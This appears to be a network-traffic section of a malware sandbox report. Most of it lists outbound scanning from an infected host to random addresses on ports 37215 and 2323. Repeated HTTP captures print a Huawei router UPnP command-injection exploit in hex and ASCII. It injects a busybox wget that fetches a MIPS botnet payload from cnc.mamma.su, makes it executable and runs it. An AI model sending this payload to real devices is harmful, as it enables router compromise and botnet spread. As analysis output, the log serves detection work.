Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.169.4.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.254.27.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.193.141.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.10.174.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.132.104.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.214.80.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.177.251.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.108.11.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.241.230.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.244.17.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.22.217.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.88.12.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.97.221.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.54.97.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.186.5.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.102.161.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.171.186.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.182.241.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.72.54.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.239.150.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.159.62.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.10.76.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.10.125.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.252.89.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.214.100.68:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.130.136.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.13.81.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.159.98.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.243.140.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.24.89.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.194.116.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.112.134.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.14.225.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.189.176.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.145.201.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.198.91.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.131.160.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.40.45.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.89.90.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.253.129.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.146.199.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.153.212.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:55076 -> 45.202.35.22:1420
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 98.99.178.200:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 36.103.251.151:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 102.8.159.38:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 217.233.243.127:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 209.234.229.146:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 158.70.222.97:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 96.207.55.36:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 198.207.74.241:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 42.26.195.180:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 148.0.234.174:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 211.27.49.106:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 92.170.162.193:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 62.110.86.120:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 154.193.173.220:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 203.232.225.213:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 117.58.206.154:2323
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.11.0.154:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.42.241.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.77.108.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.124.114.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.131.247.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.233.181.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.104.228.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.109.141.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.81.9.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.186.214.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.237.68.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.46.139.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.104.87.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.5.140.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.218.157.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.119.0.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.38.176.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.234.175.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.141.47.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.255.23.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.226.149.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.161.31.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.107.15.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.170.179.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.131.30.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.214.69.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.15.205.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.216.7.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.239.210.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.137.99.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.100.228.1:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.229.89.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.249.45.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.70.183.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.171.111.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.168.58.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.169.84.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.91.186.68:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.221.210.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.148.220.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.208.118.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.237.146.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.2.223.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.202.176.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.118.209.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.194.241.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.122.231.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.247.235.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.143.45.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.75.69.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.233.44.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.74.76.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.130.140.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.97.32.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.251.163.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.37.151.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.235.23.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.32.132.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.135.115.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.252.125.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.81.225.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.96.47.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.120.217.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.182.80.40:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.26.220.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.75.242.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.9.108.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.244.141.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.8.208.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.133.57.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.30.160.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.177.130.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.129.209.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.180.82.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.160.14.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.216.112.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.233.208.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.172.52.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.238.33.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.40.137.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.36.100.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.124.155.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.60.230.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.23.34.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.226.203.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.141.158.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.232.18.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.81.94.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.97.74.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.166.236.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.73.13.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.248.246.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.85.103.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.219.255.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.36.6.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.232.165.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.123.92.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.91.48.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.8.222.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.18.249.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.142.35.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.214.148.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.187.43.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.27.5.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.111.135.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.94.154.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.31.192.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.198.127.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.79.85.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.167.129.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.193.15.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.191.92.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.248.146.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.141.255.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.168.221.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.59.242.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.9.53.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.49.166.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.13.216.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.252.111.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.231.113.186:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.70.91.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.114.6.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.19.34.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.36.217.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.36.168.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.28.105.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.109.202.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.30.210.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.238.114.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.208.73.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.226.173.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.181.69.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.214.106.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.250.143.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.104.120.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.232.30.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.0.50.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.123.207.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.166.222.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.14.140.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.129.214.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.189.88.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.241.29.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.188.180.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.155.139.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.155.77.190:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 